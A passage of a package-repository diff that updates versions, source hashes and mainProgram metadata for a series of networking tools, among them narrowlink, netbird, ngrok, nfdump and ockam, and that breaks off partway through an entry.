100644 index 71e87a95c93de..0000000000000 --- a/pkgs/tools/networking/narrowlink/Cargo.lock.patch +++ /dev/null @@ -1,170 +0,0 @@ -diff --git a/Cargo.lock b/Cargo.lock -index 2d5af9d..920b315 100644 ---- a/Cargo.lock -+++ b/Cargo.lock -@@ -952,7 +952,7 @@ dependencies = [ - - [[package]] - name = "narrowlink-agent" --version = "0.1.3" -+version = "0.1.4" - dependencies = [ - "clap_lex", - "dirs", -@@ -961,8 +961,8 @@ dependencies = [ - "futures-util", - "hmac", - "log", -- "narrowlink-network", -- "narrowlink-types", -+ "narrowlink-network 0.1.4 (registry+https://github.com/rust-lang/crates.io-index)", -+ "narrowlink-types 0.1.4 (registry+https://github.com/rust-lang/crates.io-index)", - "serde", - "serde_json", - "serde_yaml", -@@ -976,7 +976,7 @@ dependencies = [ - - [[package]] - name = "narrowlink-client" --version = "0.1.3" -+version = "0.1.4" - dependencies = [ - "chrono", - "clap_lex", -@@ -988,8 +988,8 @@ dependencies = [ - "futures-util", - "hmac", - "log", -- "narrowlink-network", -- "narrowlink-types", -+ "narrowlink-network 0.1.4 (registry+https://github.com/rust-lang/crates.io-index)", -+ "narrowlink-types 0.1.4 (registry+https://github.com/rust-lang/crates.io-index)", - "rand", - "regex", - "serde", -@@ -1006,7 +1006,7 @@ dependencies = [ - - [[package]] - name = "narrowlink-gateway" --version = "0.1.3" -+version = "0.1.4" - dependencies = [ - "askama", - "async-trait", -@@ -1016,8 +1016,8 @@ dependencies = [ - "futures-util", - "hyper", - "instant-acme", -- "narrowlink-network", -- "narrowlink-types", -+ "narrowlink-network 0.1.4 (registry+https://github.com/rust-lang/crates.io-index)", -+ "narrowlink-types 0.1.4 (registry+https://github.com/rust-lang/crates.io-index)", - "pem 3.0.2", - "rcgen", - "rustls", -@@ -1037,7 +1037,7 @@ dependencies = [ - - [[package]] - name = "narrowlink-network" --version = "0.1.3" -+version = "0.1.4" - dependencies = [ - "bytes", - "chacha20poly1305", -@@ -1045,7 +1045,30 @@ dependencies = [ - "futures-util", - "hyper", - "log", -- "narrowlink-types", -+ "narrowlink-types 0.1.4 (registry+https://github.com/rust-lang/crates.io-index)", -+ "serde", -+ "serde_json", -+ "tokio", -+ "tokio-native-tls", -+ "tokio-rustls", -+ "tokio-tungstenite", -+ "tungstenite", -+ "webpki-roots", -+] -+ -+[[package]] -+name = "narrowlink-network" -+version = "0.1.4" -+source = "registry+https://github.com/rust-lang/crates.io-index" -+checksum = "53a3e0af078492420b410b56ffeccd77e2c0d5ac31d53cc404e6b2f14ebde31b" -+dependencies = [ -+ "bytes", -+ "chacha20poly1305", -+ "env_logger", -+ "futures-util", -+ "hyper", -+ "log", -+ "narrowlink-types 0.1.4 (registry+https://github.com/rust-lang/crates.io-index)", - "serde", - "serde_json", - "tokio", -@@ -1058,19 +1081,38 @@ dependencies = [ - - [[package]] - name = "narrowlink-token-generator" --version = "0.1.3" -+version = "0.1.4" - dependencies = [ - "clap_lex", - "dirs", - "jsonwebtoken", -- "narrowlink-types", -+ "narrowlink-types 0.1.4 (registry+https://github.com/rust-lang/crates.io-index)", - "serde", - "serde_yaml", - ] - - [[package]] - name = "narrowlink-types" --version = "0.1.3" -+version = "0.1.4" -+dependencies = [ -+ "chrono", -+ "hmac", -+ "ipnet", -+ "jsonwebtoken", -+ "regex", -+ "serde", -+ "serde_json", -+ "sha3", -+ "uuid", -+ "validator", -+ "wildmatch", -+] -+ -+[[package]] -+name = "narrowlink-types" -+version = "0.1.4" -+source = "registry+https://github.com/rust-lang/crates.io-index" -+checksum = "06a2e4b95bcc18504b455bff0e8d23321c8fa3bd68526f7bf1567f918f36925f" - dependencies = [ - "chrono", - "hmac", -@@ -1661,18 +1703,18 @@ dependencies = [ - - [[package]] - name = "serde" --version = "1.0.185" -+version = "1.0.186" - source = "registry+https://github.com/rust-lang/crates.io-index" --checksum = "be9b6f69f1dfd54c3b568ffa45c310d6973a5e5148fd40cf515acaf38cf5bc31" -+checksum = "9f5db24220c009de9bd45e69fb2938f4b6d2df856aa9304ce377b3180f83b7c1" - dependencies = [ - "serde_derive", - ] - - [[package]] - name = "serde_derive" --version = "1.0.185" -+version = "1.0.186" - source = "registry+https://github.com/rust-lang/crates.io-index" --checksum = "dc59dfdcbad1437773485e0367fea4b090a2e0a16d9ffc46af47764536a298ec" -+checksum = "5ad697f7e0b65af4983a4ce8f56ed5b357e8d3c36651bf6a7e13639c17b8e670" - dependencies = [ - "proc-macro2", - "quote", diff --git a/pkgs/tools/networking/narrowlink/default.nix b/pkgs/tools/networking/narrowlink/default.nix index 68732b518ca94..226dd15b1c9ef 100644 --- a/pkgs/tools/networking/narrowlink/default.nix +++ b/pkgs/tools/networking/narrowlink/default.nix @@ -9,35 +9,31 @@ rustPlatform.buildRustPackage rec { pname = "narrowlink"; - version = "0.1.4"; + version = "0.2.4"; src = fetchFromGitHub { owner = "narrowlink"; repo = "narrowlink"; rev = version; - hash = "sha256-vef7ctauSl0xfYNqjvl8wLGbqzzkMItz1O7sT1UZ4b0="; + hash = "sha256-priVl44VSxV+rCy/5H704I3CbNXDMP2BUguknl5Bguk="; }; - # Cargo.lock is outdated - cargoPatches = [ ./Cargo.lock.patch ]; - - cargoHash = "sha256-craOunscE6o8PXtZFCYpkFH/amkuLOK7SrV+XHbS2GM="; + cargoHash = "sha256-q15T0/2Xf8L6ZEphIjZzzcqcnkWMbv3zvBAd/Ofvnfg="; nativeBuildInputs = [ - pkg-config + rustPlatform.bindgenHook ]; - buildInputs = [ - openssl - ] ++ lib.optionals stdenv.isDarwin [ - darwin.apple_sdk_11_0.frameworks.IOKit - darwin.apple_sdk_11_0.frameworks.Security + buildInputs = lib.optionals stdenv.isDarwin [ + darwin.apple_sdk.frameworks.IOKit + darwin.apple_sdk.frameworks.Security ]; meta = { - description = "Narrowlink securely connects devices and services together, even when both nodes are behind separate NAT"; + description = "A self-hosted solution to enable secure connectivity between devices across restricted networks like NAT or firewalls"; homepage = "https://github.com/narrowlink/narrowlink"; license = with lib.licenses; [ agpl3Only mpl20 ]; # the gateway component is AGPLv3, the rest is MPLv2 maintainers = with lib.maintainers; [ dit7ya ]; + mainProgram = "narrowlink"; }; } diff --git a/pkgs/tools/networking/nat-traverse/default.nix b/pkgs/tools/networking/nat-traverse/default.nix index a1c1337a216bb..39e74f215159b 100644 --- a/pkgs/tools/networking/nat-traverse/default.nix +++ b/pkgs/tools/networking/nat-traverse/default.nix @@ -33,5 +33,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; platforms = platforms.all; maintainers = [ maintainers.iblech ]; + mainProgram = "nat-traverse"; }; } diff --git a/pkgs/tools/networking/netassert/default.nix b/pkgs/tools/networking/netassert/default.nix index 1351c255e9436..d226b5345681f 100644 --- a/pkgs/tools/networking/netassert/default.nix +++ b/pkgs/tools/networking/netassert/default.nix @@ -36,5 +36,6 @@ buildGoModule rec { ''; license = licenses.asl20; maintainers = with maintainers; [ jk ]; + mainProgram = "netassert"; }; } diff --git a/pkgs/tools/networking/netbird/default.nix b/pkgs/tools/networking/netbird/default.nix index 8f9570af40158..20f146ab9330d 100644 --- a/pkgs/tools/networking/netbird/default.nix +++ b/pkgs/tools/networking/netbird/default.nix @@ -31,16 +31,16 @@ let in buildGoModule rec { pname = "netbird"; - version = "0.25.8"; + version = "0.26.2"; src = fetchFromGitHub { owner = "netbirdio"; repo = pname; rev = "v${version}"; - hash = "sha256-BsExPkUbkHJbi4oWKEH9tPoipGutzz19FuLxImlFUVQ="; + hash = "sha256-fnKrv8bMONZbZGZtCQUAeGo3OIvOIqLX3nvVfGhYoK8="; }; - vendorHash = "sha256-CFLwb5cqsfxTxOwuLOB0IMYkRZUNPgB7grjQ4xm84BM="; + vendorHash = "sha256-Zp8LAaADpSa/wfnLAQVJ8cG3bMkC7ZU1BT+Dz214c34="; nativeBuildInputs = [ installShellFiles ] ++ lib.optional ui pkg-config; @@ -73,9 +73,9 @@ buildGoModule rec { postPatch = '' # make it compatible with systemd's RuntimeDirectory substituteInPlace client/cmd/root.go \ - --replace 'unix:///var/run/netbird.sock' 'unix:///var/run/netbird/sock' + --replace-fail 'unix:///var/run/netbird.sock' 'unix:///var/run/netbird/sock' substituteInPlace client/ui/client_ui.go \ - --replace 'unix:///var/run/netbird.sock' 'unix:///var/run/netbird/sock' + --replace-fail 'unix:///var/run/netbird.sock' 'unix:///var/run/netbird/sock' ''; postInstall = lib.concatStringsSep "\n" @@ -90,13 +90,13 @@ buildGoModule rec { '') modules) + lib.optionalString (stdenv.isLinux && ui) '' mkdir -p $out/share/pixmaps - cp $src/client/ui/netbird-systemtray-default.png $out/share/pixmaps/netbird.png + cp $src/client/ui/netbird-systemtray-connected.png $out/share/pixmaps/netbird.png mkdir -p $out/share/applications cp $src/client/ui/netbird.desktop $out/share/applications/netbird.desktop substituteInPlace $out/share/applications/netbird.desktop \ - --replace "Exec=/usr/bin/netbird-ui" "Exec=$out/bin/netbird-ui" + --replace-fail "Exec=/usr/bin/netbird-ui" "Exec=$out/bin/netbird-ui" ''; passthru = { diff --git a/pkgs/tools/networking/netdiscover/default.nix b/pkgs/tools/networking/netdiscover/default.nix index 471dd55c4e17c..3aec143b3a56d 100644 --- a/pkgs/tools/networking/netdiscover/default.nix +++ b/pkgs/tools/networking/netdiscover/default.nix @@ -22,5 +22,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; maintainers = with maintainers; [ vdot0x23 ]; platforms = platforms.unix; + mainProgram = "netdiscover"; }; } diff --git a/pkgs/tools/networking/nethogs/default.nix b/pkgs/tools/networking/nethogs/default.nix index 2c7347defdd3b..8c2d4ba84291e 100644 --- a/pkgs/tools/networking/nethogs/default.nix +++ b/pkgs/tools/networking/nethogs/default.nix @@ -32,5 +32,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/raboof/nethogs#readme"; platforms = platforms.linux; maintainers = [ maintainers.rycee ]; + mainProgram = "nethogs"; }; } diff --git a/pkgs/tools/networking/nethoscope/default.nix b/pkgs/tools/networking/nethoscope/default.nix index 478220210b3d8..2b450cf7b8aa5 100644 --- a/pkgs/tools/networking/nethoscope/default.nix +++ b/pkgs/tools/networking/nethoscope/default.nix @@ -53,6 +53,7 @@ rustPlatform.buildRustPackage rec { license = licenses.isc; maintainers = with maintainers; [ _0x4A6F ]; platforms = platforms.linux; + mainProgram = "nethoscope"; }; } diff --git a/pkgs/tools/networking/netifd/default.nix b/pkgs/tools/networking/netifd/default.nix index 59b2e47329801..6fd90f6082c97 100644 --- a/pkgs/tools/networking/netifd/default.nix +++ b/pkgs/tools/networking/netifd/default.nix @@ -54,5 +54,6 @@ stdenv.mkDerivation { license = licenses.lgpl21Only; platforms = platforms.linux; maintainers = with maintainers; [ mkg20001 ]; + mainProgram = "netifd"; }; } diff --git a/pkgs/tools/networking/netmask/default.nix b/pkgs/tools/networking/netmask/default.nix index c1613fcf92063..f564e09ba032e 100644 --- a/pkgs/tools/networking/netmask/default.nix +++ b/pkgs/tools/networking/netmask/default.nix @@ -20,5 +20,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; platforms = platforms.linux; maintainers = [ maintainers.jensbin ]; + mainProgram = "netmask"; }; } diff --git a/pkgs/tools/networking/nettee/default.nix b/pkgs/tools/networking/nettee/default.nix index c5cbcb19a971b..b281d6b296804 100644 --- a/pkgs/tools/networking/nettee/default.nix +++ b/pkgs/tools/networking/nettee/default.nix @@ -19,6 +19,7 @@ in stdenv.mkDerivation { license = lib.licenses.gpl2; maintainers = with lib.maintainers; [ Profpatsch ]; platforms = lib.platforms.linux; + mainProgram = "nettee"; }; outputs = [ "bin" "man" "doc" "out" ]; diff --git a/pkgs/tools/networking/networkmanager/l2tp/default.nix b/pkgs/tools/networking/networkmanager/l2tp/default.nix index cf7c1c86d3bf3..ac60739abcff1 100644 --- a/pkgs/tools/networking/networkmanager/l2tp/default.nix +++ b/pkgs/tools/networking/networkmanager/l2tp/default.nix @@ -22,13 +22,13 @@ stdenv.mkDerivation rec { name = "${pname}${lib.optionalString withGnome "-gnome"}-${version}"; pname = "NetworkManager-l2tp"; - version = "1.20.10"; + version = "1.20.12"; src = fetchFromGitHub { owner = "nm-l2tp"; repo = "network-manager-l2tp"; rev = version; - hash = "sha256-EfWvh4uSzWFadZAHTqsKa3un2FQ6WUbHLoHo9gSS7bE="; + hash = "sha256-fFgalLDjSOW+f69ZWKthvoeQHkS1max0/WXLOw2eR9Q="; }; patches = [ diff --git a/pkgs/tools/networking/nexttrace/default.nix b/pkgs/tools/networking/nexttrace/default.nix index 1bbd4e3685f00..2ad7764b1452a 100644 --- a/pkgs/tools/networking/nexttrace/default.nix +++ b/pkgs/tools/networking/nexttrace/default.nix @@ -29,6 +29,7 @@ buildGoModule rec { homepage = "https://mtr.moe"; license = licenses.gpl3Only; maintainers = with maintainers; [ sharzy ]; + mainProgram = "nexttrace"; }; } diff --git a/pkgs/tools/networking/nfdump/default.nix b/pkgs/tools/networking/nfdump/default.nix index cc0c9d1519839..34d7db6c97605 100644 --- a/pkgs/tools/networking/nfdump/default.nix +++ b/pkgs/tools/networking/nfdump/default.nix @@ -13,13 +13,13 @@ stdenv.mkDerivation rec { pname = "nfdump"; - version = "1.7.3"; + version = "1.7.4"; src = fetchFromGitHub { owner = "phaag"; repo = "nfdump"; rev = "refs/tags/v${version}"; - hash = "sha256-etmelBCZQKscuVJt5dBtwQVjiZNUFLTu11Gw0jmYcAg="; + hash = "sha256-3V6n0cAD3EG91gkbB/9kNcJhwpZBY4ovUamyaVWAAcY="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/networking/nfstrace/default.nix b/pkgs/tools/networking/nfstrace/default.nix index 297ada3cc2aad..1a0268f960d25 100644 --- a/pkgs/tools/networking/nfstrace/default.nix +++ b/pkgs/tools/networking/nfstrace/default.nix @@ -55,5 +55,6 @@ stdenv.mkDerivation rec { description = "NFS and CIFS tracing/monitoring/capturing/analyzing tool"; license = licenses.gpl2; platforms = platforms.linux; + mainProgram = "nfstrace"; }; } diff --git a/pkgs/tools/networking/ngrep/default.nix b/pkgs/tools/networking/ngrep/default.nix index c44f6e1eb8328..31707ce00d5a8 100644 --- a/pkgs/tools/networking/ngrep/default.nix +++ b/pkgs/tools/networking/ngrep/default.nix @@ -52,5 +52,6 @@ stdenv.mkDerivation rec { }; platforms = with platforms; linux ++ darwin; maintainers = [ maintainers.bjornfor ]; + mainProgram = "ngrep"; }; } diff --git a/pkgs/tools/networking/ngrok/default.nix b/pkgs/tools/networking/ngrok/default.nix index fb1574bfdc1ea..ac5b19ab4c3f8 100644 --- a/pkgs/tools/networking/ngrok/default.nix +++ b/pkgs/tools/networking/ngrok/default.nix @@ -42,5 +42,6 @@ stdenv.mkDerivation { license = licenses.unfree; platforms = [ "i686-linux" "x86_64-linux" "aarch64-linux" "x86_64-darwin" "aarch64-darwin" ]; maintainers = with maintainers; [ bobvanderlinden brodes ]; + mainProgram = "ngrok"; }; } diff --git a/pkgs/tools/networking/ngrok/versions.json b/pkgs/tools/networking/ngrok/versions.json index 3b52e8f92372e..8d90ae6c00e2d 100644 --- a/pkgs/tools/networking/ngrok/versions.json +++ b/pkgs/tools/networking/ngrok/versions.json @@ -1,38 +1,38 @@ { "linux-386": { "sys": "linux-386", - "url": "https://bin.equinox.io/a/4gMs8FHXopG/ngrok-v3-3.5.0-linux-386", - "sha256": "2ab242193e01222d1c5cbfe85389200b97fc3af91374bd4b9c8d86812db7d589", - "version": "3.5.0" + "url": "https://bin.equinox.io/a/5FUi7gCzPvi/ngrok-v3-3.6.0-linux-386", + "sha256": "2036fc58594c7205aebaa09e9665d5c706391746122a417e57fa9a1bce62a727", + "version": "3.6.0" }, "linux-amd64": { "sys": "linux-amd64", - "url": "https://bin.equinox.io/a/7qHLVJPrTcc/ngrok-v3-3.5.0-linux-amd64", - "sha256": "bd44f722df4435daf61c4bef4fe45d8abdbbf5ccd6c371b6ab405a07fb469c06", - "version": "3.5.0" + "url": "https://bin.equinox.io/a/e6rvYmQb6MC/ngrok-v3-3.6.0-linux-amd64", + "sha256": "14e6118f1021b5b8421945a13b15ec501bc88aef0089b1dbf31d1fb229115d9e", + "version": "3.6.0" }, "linux-arm": { "sys": "linux-arm", - "url": "https://bin.equinox.io/a/ciuckTnS7RJ/ngrok-v3-3.5.0-linux-arm", - "sha256": "ba0ab1d956a0b05e35da6901691bd18166acc6a833c993e8f6b80f6d608e1d8c", - "version": "3.5.0" + "url": "https://bin.equinox.io/a/iTLH8EwDQN2/ngrok-v3-3.6.0-linux-arm", + "sha256": "0bbc395cc610c0017d12a812496856677f6a653f60a76203d0f031914e4cf7bc", + "version": "3.6.0" }, "linux-arm64": { "sys": "linux-arm64", - "url": "https://bin.equinox.io/a/iutMKiLdVzF/ngrok-v3-3.5.0-linux-arm64", - "sha256": "85b5ecc96a56a1d19324acb3ca3a38e11a9075be8cb97ee466a1538f8711a69d", - "version": "3.5.0" + "url": "https://bin.equinox.io/a/ibBBjsbrZAm/ngrok-v3-3.6.0-linux-arm64", + "sha256": "39575a951352e571f6f96fd4409cbaa675dc4593786c9f198c2fb45360361f02", + "version": "3.6.0" }, "darwin-amd64": { "sys": "darwin-amd64", - "url": "https://bin.equinox.io/a/hrb7DpXGSDS/ngrok-v3-3.5.0-darwin-amd64", - "sha256": "3380a2e742600fcef21e390291c4224e3e23fb31e832b695f922a24899125808", - "version": "3.5.0" + "url": "https://bin.equinox.io/a/61nYpJWvYHR/ngrok-v3-3.6.0-darwin-amd64", + "sha256": "05ecb8a6e79cfe57663a085d5fc7cfeddd5867b25fc185829c39de4d25e5857d", + "version": "3.6.0" }, "darwin-arm64": { "sys": "darwin-arm64", - "url": "https://bin.equinox.io/a/aH6hGnhtNbT/ngrok-v3-3.5.0-darwin-arm64", - "sha256": "cbfd0bcd1d53aa1bc3b6afa54e0c8f01d77f6a369727f4f6eb1451b3a1eab3df", - "version": "3.5.0" + "url": "https://bin.equinox.io/a/9Zzu7daqPHA/ngrok-v3-3.6.0-darwin-arm64", + "sha256": "812829dac649b27f99eaf361306a014eb7ff28d005c3c9d087171342fce9472e", + "version": "3.6.0" } } diff --git a/pkgs/tools/networking/noip/default.nix b/pkgs/tools/networking/noip/default.nix index 4b57ef7731ed9..85614001342f7 100644 --- a/pkgs/tools/networking/noip/default.nix +++ b/pkgs/tools/networking/noip/default.nix @@ -24,5 +24,6 @@ stdenv.mkDerivation { license = lib.licenses.gpl2; maintainers = [ lib.maintainers.iand675 ]; platforms = platforms.linux; + mainProgram = "noip2"; }; } diff --git a/pkgs/tools/networking/norouter/default.nix b/pkgs/tools/networking/norouter/default.nix index e76cc4544e329..3513cb0cdfbc8 100644 --- a/pkgs/tools/networking/norouter/default.nix +++ b/pkgs/tools/networking/norouter/default.nix @@ -31,5 +31,6 @@ buildGoModule rec { homepage = "https://github.com/norouter/norouter"; license = licenses.asl20; maintainers = with maintainers; [ blaggacao ]; + mainProgram = "norouter"; }; } diff --git a/pkgs/tools/networking/ntopng/default.nix b/pkgs/tools/networking/ntopng/default.nix index cc9bc701d8f04..18cb68cba4078 100644 --- a/pkgs/tools/networking/ntopng/default.nix +++ b/pkgs/tools/networking/ntopng/default.nix @@ -89,5 +89,6 @@ stdenv.mkDerivation (finalAttrs: { license = licenses.gpl3Plus; platforms = platforms.linux ++ platforms.darwin; maintainers = with maintainers; [ bjornfor ]; + mainProgram = "ntopng"; }; }) diff --git a/pkgs/tools/networking/ntttcp/default.nix b/pkgs/tools/networking/ntttcp/default.nix index 662e4d32fb726..cc816b737bdbb 100644 --- a/pkgs/tools/networking/ntttcp/default.nix +++ b/pkgs/tools/networking/ntttcp/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = with maintainers; [ delroth ]; platforms = platforms.linux; + mainProgram = "ntttcp"; }; } diff --git a/pkgs/tools/networking/nuttcp/default.nix b/pkgs/tools/networking/nuttcp/default.nix index 9483c3ce756d8..467159e8c2750 100644 --- a/pkgs/tools/networking/nuttcp/default.nix +++ b/pkgs/tools/networking/nuttcp/default.nix @@ -46,5 +46,6 @@ stdenv.mkDerivation rec { homepage = "http://nuttcp.net/"; maintainers = with maintainers; [ ]; platforms = platforms.unix; + mainProgram = "nuttcp"; }; } diff --git a/pkgs/tools/networking/nylon/default.nix b/pkgs/tools/networking/nylon/default.nix index b519db4b55b9a..37c6d14dfa278 100644 --- a/pkgs/tools/networking/nylon/default.nix +++ b/pkgs/tools/networking/nylon/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation rec { license = licenses.bsdOriginal; maintainers = with maintainers; [ edwtjo ]; platforms = platforms.linux; + mainProgram = "nylon"; }; } diff --git a/pkgs/tools/networking/nzbget/default.nix b/pkgs/tools/networking/nzbget/default.nix index 4e67e81a7de83..2c698ae6c8316 100644 --- a/pkgs/tools/networking/nzbget/default.nix +++ b/pkgs/tools/networking/nzbget/default.nix @@ -55,5 +55,6 @@ stdenv.mkDerivation (finalAttrs: { description = "A command line tool for downloading files from news servers"; maintainers = with maintainers; [ pSub ]; platforms = with platforms; unix; + mainProgram = "nzbget"; }; }) diff --git a/pkgs/tools/networking/oapi-codegen/default.nix b/pkgs/tools/networking/oapi-codegen/default.nix index e2d406b9691b7..05098a828a113 100644 --- a/pkgs/tools/networking/oapi-codegen/default.nix +++ b/pkgs/tools/networking/oapi-codegen/default.nix @@ -25,5 +25,6 @@ buildGoModule rec { changelog = "https://github.com/deepmap/oapi-codegen/releases/tag/v${version}"; license = licenses.asl20; maintainers = with maintainers; [ j4m3s ]; + mainProgram = "oapi-codegen"; }; } diff --git a/pkgs/tools/networking/ockam/default.nix b/pkgs/tools/networking/ockam/default.nix index b50a4ff452452..a9481ba95b659 100644 --- a/pkgs/tools/networking/ockam/default.nix +++ b/pkgs/tools/networking/ockam/default.nix @@ -12,7 +12,7 @@ let pname = "ockam"; - version = "0.116.0"; + version = "0.117.0"; in rustPlatform.buildRustPackage { inherit pname version; @@ -21,10 +21,10 @@ rustPlatform.buildRustPackage { owner = "build-trust"; repo = pname; rev = "ockam_v${version}"; - sha256 = "sha256-dcSH/mO3cUamjOCuvEB/C24n7K5T1KnUMvTn8fVu+YM="; + sha256 = "sha256-iQ/bhrYJvvSevZGx4n1gTyfG/NvvWoQAHs6fcTT+vUc="; }; - cargoHash = "sha256-9UwPPOKg+Im+vfQFiYKS68tONYkKz1TqX7ukbtmLcRk="; + cargoHash = "sha256-WXRRZWQqgfw7priZrt+avMs2FHs4EcKwlkg5XK8hjoY="; nativeBuildInputs = [ git pkg-config ]; buildInputs = [ openssl dbus ] ++ lib.optionals stdenv.isDarwin [ Security ]; diff --git a/pkgs/tools/networking/octodns/providers/gandi/default.nix b/pkgs/tools/networking/octodns/providers/gandi/default.nix index ced7599c6874c..69edc77c07548 100644 --- a/pkgs/tools/networking/octodns/providers/gandi/default.nix +++ b/pkgs/tools/networking/octodns/providers/gandi/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "octodns-gandi"; - version = "0.0.2"; + version = "0.0.3"; pyproject = true; disabled = pythonOlder "3.8"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "octodns"; repo = "octodns-gandi"; rev = "refs/tags/v${version}"; - hash = "sha256-aZUVdCeIbyXBgy8HNf6bZSmjdRzIvQkCEzndKGyuTkw="; + hash = "sha256-L7kDkqTVmU8OqjMS3GkML1xBxEuwb9iyYi/YZBB4NSU="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/networking/ofono/default.nix b/pkgs/tools/networking/ofono/default.nix index 33cb492b21492..e87f8a707361d 100644 --- a/pkgs/tools/networking/ofono/default.nix +++ b/pkgs/tools/networking/ofono/default.nix @@ -62,5 +62,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Only; maintainers = with maintainers; [ ]; platforms = platforms.linux; + mainProgram = "ofonod"; }; } diff --git a/pkgs/tools/networking/oha/default.nix b/pkgs/tools/networking/oha/default.nix index 7a2f0fc3d25e8..2ba7a62152db3 100644 --- a/pkgs/tools/networking/oha/default.nix +++ b/pkgs/tools/networking/oha/default.nix @@ -39,5 +39,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/hatoo/oha/blob/v${version}/CHANGELOG.md"; license = licenses.mit; maintainers = with maintainers; [ figsoda ]; + mainProgram = "oha"; }; } diff --git a/pkgs/tools/networking/onetun/default.nix b/pkgs/tools/networking/onetun/default.nix index 5200cff7076f7..87a9b0bfc82f2 100644 --- a/pkgs/tools/networking/onetun/default.nix +++ b/pkgs/tools/networking/onetun/default.nix @@ -27,5 +27,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/aramperes/onetun"; license = licenses.mit; maintainers = with maintainers; [ dit7ya ]; + mainProgram = "onetun"; }; } diff --git a/pkgs/tools/networking/openconnect/common.nix b/pkgs/tools/networking/openconnect/common.nix index e35c8d71cce9d..fa54eecb89e15 100644 --- a/pkgs/tools/networking/openconnect/common.nix +++ b/pkgs/tools/networking/openconnect/common.nix @@ -44,5 +44,6 @@ stdenv.mkDerivation rec { license = licenses.lgpl21Only; maintainers = with maintainers; [ pradeepchhetri tricktron alyaeanyx ]; platforms = lib.platforms.unix; + mainProgram = "openconnect"; }; } diff --git a/pkgs/tools/networking/openfortivpn/default.nix b/pkgs/tools/networking/openfortivpn/default.nix index d69f591cab08f..17c0d1390f31a 100644 --- a/pkgs/tools/networking/openfortivpn/default.nix +++ b/pkgs/tools/networking/openfortivpn/default.nix @@ -49,5 +49,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3; maintainers = with maintainers; [ madjar ]; platforms = with platforms; linux ++ darwin; + mainProgram = "openfortivpn"; }; } diff --git a/pkgs/tools/networking/openvpn/default.nix b/pkgs/tools/networking/openvpn/default.nix index b877c7c451b0c..091bec29da080 100644 --- a/pkgs/tools/networking/openvpn/default.nix +++ b/pkgs/tools/networking/openvpn/default.nix @@ -63,5 +63,6 @@ stdenv.mkDerivation (finalAttrs: { license = licenses.gpl2Only; maintainers = with maintainers; [ viric peterhoeg ]; platforms = platforms.unix; + mainProgram = "openvpn"; }; }) diff --git a/pkgs/tools/networking/oui/default.nix b/pkgs/tools/networking/oui/default.nix index 517eb06507b45..9fd613a295e7f 100644 --- a/pkgs/tools/networking/oui/default.nix +++ b/pkgs/tools/networking/oui/default.nix @@ -18,5 +18,6 @@ buildGoModule rec { homepage = "https://github.com/thatmattlove/oui"; license = with licenses; [ bsd3 ]; maintainers = teams.wdz.members; + mainProgram = "oui"; }; } diff --git a/pkgs/tools/networking/owl/default.nix b/pkgs/tools/networking/owl/default.nix index 5a726c25a0272..568eeca0afff7 100644 --- a/pkgs/tools/networking/owl/default.nix +++ b/pkgs/tools/networking/owl/default.nix @@ -21,5 +21,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Only; maintainers = with maintainers; [ wolfangaukang ]; platforms = [ "x86_64-linux" ]; + mainProgram = "owl"; }; } diff --git a/pkgs/tools/networking/pacparser/default.nix b/pkgs/tools/networking/pacparser/default.nix index d4b81928498c8..dc45aaac58fab 100644 --- a/pkgs/tools/networking/pacparser/default.nix +++ b/pkgs/tools/networking/pacparser/default.nix @@ -27,5 +27,6 @@ stdenv.mkDerivation rec { license = licenses.lgpl3; platforms = platforms.linux; maintainers = with maintainers; [ abbradar ]; + mainProgram = "pactester"; }; } diff --git a/pkgs/tools/networking/pathvector/default.nix b/pkgs/tools/networking/pathvector/default.nix index f8560793e9dc6..e9ca6f90e5a55 100644 --- a/pkgs/tools/networking/pathvector/default.nix +++ b/pkgs/tools/networking/pathvector/default.nix @@ -24,5 +24,6 @@ buildGoModule rec { homepage = "https://pathvector.io"; license = licenses.gpl3; maintainers = with maintainers; [ matthewpi ]; + mainProgram = "pathvector"; }; } diff --git a/pkgs/tools/networking/pcapc/default.nix b/pkgs/tools/networking/pcapc/default.nix index e0cef54020898..35b338a5f63a8 100644 --- a/pkgs/tools/networking/pcapc/default.nix +++ b/pkgs/tools/networking/pcapc/default.nix @@ -20,5 +20,6 @@ stdenv.mkDerivation rec { description = "Compile libpcap filter expressions into BPF opcodes"; license = licenses.gpl3Only; platforms = platforms.linux; + mainProgram = "pcapc"; }; } diff --git a/pkgs/tools/networking/pcapfix/default.nix b/pkgs/tools/networking/pcapfix/default.nix index 5a8f24355c26a..3f7a5be86ce0f 100644 --- a/pkgs/tools/networking/pcapfix/default.nix +++ b/pkgs/tools/networking/pcapfix/default.nix @@ -17,5 +17,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3; maintainers = [ maintainers.ehmry ]; platforms = platforms.all; + mainProgram = "pcapfix"; }; } diff --git a/pkgs/tools/networking/pgrok/default.nix b/pkgs/tools/networking/pgrok/default.nix index ab1c6d9f0a613..e5c9610521ce2 100644 --- a/pkgs/tools/networking/pgrok/default.nix +++ b/pkgs/tools/networking/pgrok/default.nix @@ -51,5 +51,6 @@ buildGoModule rec { homepage = "https://github.com/pgrok/pgrok"; license = lib.licenses.mit; maintainers = with lib.maintainers; [ marie ]; + mainProgram = "pgrok"; }; } diff --git a/pkgs/tools/networking/phantomsocks/default.nix b/pkgs/tools/networking/phantomsocks/default.nix index 6f3c3ad9a3362..7bb053c680f77 100644 --- a/pkgs/tools/networking/phantomsocks/default.nix +++ b/pkgs/tools/networking/phantomsocks/default.nix @@ -37,5 +37,6 @@ buildGoModule rec { ''; license = licenses.lgpl3Only; maintainers = with maintainers; [ oluceps ]; + mainProgram = "phantomsocks"; }; } diff --git a/pkgs/tools/networking/photon/default.nix b/pkgs/tools/networking/photon/default.nix index 543d9f1a5b964..8a69bd70c1495 100644 --- a/pkgs/tools/networking/photon/default.nix +++ 